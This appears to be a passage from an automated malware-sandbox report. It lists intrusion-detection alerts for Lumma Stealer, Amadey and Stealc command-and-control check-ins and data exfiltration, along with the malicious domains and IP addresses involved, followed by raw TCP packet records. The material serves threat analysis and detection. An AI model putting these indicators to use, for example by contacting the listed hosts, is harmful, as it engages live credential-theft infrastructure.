                                                                                                                                                                                                                                                            2024-12-19T01:10:47.473996+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.550095185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:47.737345+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550115104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:48.794795+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550121104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:49.575372+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.550121104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:49.690401+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550122104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:50.810800+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550127104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:51.543921+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550127104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:51.923611+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550128104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:54.001004+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550131185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:54.914175+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550132104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:54.937235+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.550132104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:55.457652+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.55013331.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:58.779944+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550136104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:59.393459+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550137185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:59.584907+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550136104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:00.844196+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.55013831.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:08.471101+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550141185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:10.026100+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.55014431.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:15.157947+01002058378ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)1192.168.2.5532901.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:11:15.674430+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550178185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:16.529478+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550181172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:16.529478+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550181172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:17.330731+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.550181172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:17.330731+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550181172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:17.782593+01002058354ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)1192.168.2.5500121.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:11:17.970787+01002058354ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)1192.168.2.5500121.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:11:18.551956+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550184172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:18.551956+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550184172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:19.326149+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550186104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:19.326149+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550186104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:19.384381+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.550184172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:19.384381+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550184172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:20.105644+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.550186104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:20.105644+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550186104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:21.089494+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550187172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:21.089494+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550187172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:21.339388+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550189104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:21.339388+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550189104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:22.018517+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.550187172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:22.164628+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.550189104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:22.164628+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550189104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:23.257151+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550191172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:23.257151+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550191172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:24.083810+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550192104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:24.083810+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550192104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:25.393585+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550195172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:25.393585+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550195172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:26.513904+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550196104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:26.513904+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550196104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:27.220489+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.550197185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:27.674570+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550199172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:27.674570+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550199172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:28.663037+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550201104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:28.663037+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550201104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:30.004702+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550203172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:30.004702+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550203172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:30.941046+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550205104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:30.941046+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550205104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:31.366387+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.550203172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:31.650089+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.550206185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:31.736777+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.550205104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:32.600400+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550208172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:32.600400+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550208172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:33.274335+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550209104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:33.274335+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550209104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:33.413681+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550208172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:34.297532+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.550209104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:34.910713+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.550211185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:35.522006+01002058355ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)1192.168.2.550212104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:35.522006+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550212104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:36.352110+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550212104.21.66.85443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:38.131339+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.550214185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:11:45.406318+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.550218185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:12:47.767641+01002856122ETPRO MALWARE Amadey CnC Response M11185.215.113.4380192.168.2.550243TCP
                                                                                                                                                                                                                                                            2024-12-19T01:12:49.096578+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550245185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:14:10.405413+01002856147ETPRO MALWARE Amadey CnC Activity M31192.168.2.550274185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:15:05.752153+01002856122ETPRO MALWARE Amadey CnC Response M11185.215.113.4380192.168.2.550294TCP
                                                                                                                                                                                                                                                            2024-12-19T01:15:07.082301+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550297185.215.113.4380TCP

                                                                                                                                                                                                                                                            Network Port Distribution

                                                                                                                                                                                                                                                            TCP Packets

                                                                                                                                                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:03.963829994 CET4978980192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:04.083549976 CET8049789185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:04.083671093 CET4978980192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:04.083817005 CET4978980192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:04.203494072 CET8049789185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:05.410445929 CET8049789185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:05.411027908 CET4978980192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:06.931189060 CET4978980192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:06.931670904 CET4979580192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:07.051054955 CET8049789185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:07.051193953 CET8049795185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:07.051278114 CET4978980192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:07.051402092 CET4979580192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:07.051719904 CET4979580192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:07.171205997 CET8049795185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.524971962 CET8049795185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.525132895 CET8049795185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.525374889 CET4979580192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.762155056 CET8049795185.215.113.43192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.762274027 CET4979580192.168.2.5185.215.113.43
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.767147064 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.886605024 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.886706114 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.886882067 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:09.008064985 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.264518976 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.264772892 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.264985085 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265041113 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265060902 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265080929 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265099049 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265120029 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265141010 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265156984 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265172958 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265207052 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265943050 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.265980005 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266002893 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266014099 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266032934 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266062975 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266673088 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.266745090 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.384948969 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.385067940 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.385235071 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.385235071 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.456831932 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.456943989 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.456979036 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.457134008 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.460994005 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.461096048 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.461111069 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.461149931 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.469449043 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.469516039 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.469607115 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.469655991 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.477988958 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.478048086 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.478087902 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.478133917 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.486416101 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.486547947 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.486553907 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.486598015 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.495075941 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.495143890 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.495166063 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.495213985 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.503462076 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.503586054 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.503673077 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.503727913 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.511931896 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.512013912 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.512093067 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.512155056 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.520411015 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.520515919 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.520539045 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.520591021 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.528856039 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.528914928 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.528987885 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.529145002 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.536485910 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.536555052 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.536617994 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.536668062 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.649503946 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.649560928 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.649617910 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.649698973 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.651540995 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.651652098 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.651684999 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.651776075 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.656599045 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.656706095 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.656711102 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.656878948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.661705971 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.661760092 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.661787987 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.661856890 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.666688919 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.666795015 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.666819096 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.666910887 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.671550989 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.671622038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.671654940 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.671719074 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.676341057 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.676419020 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.676479101 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.676538944 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.681211948 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.681323051 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.681371927 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.681406975 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.686041117 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.686120033 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.686148882 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.686209917 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.690839052 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.690907001 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.690953016 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.691005945 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.697763920 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.697802067 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.697844982 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.697879076 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.700675011 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.700711012 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.700742960 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.700758934 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.705609083 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.705646038 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.705702066 CET4980180192.168.2.531.41.244.11
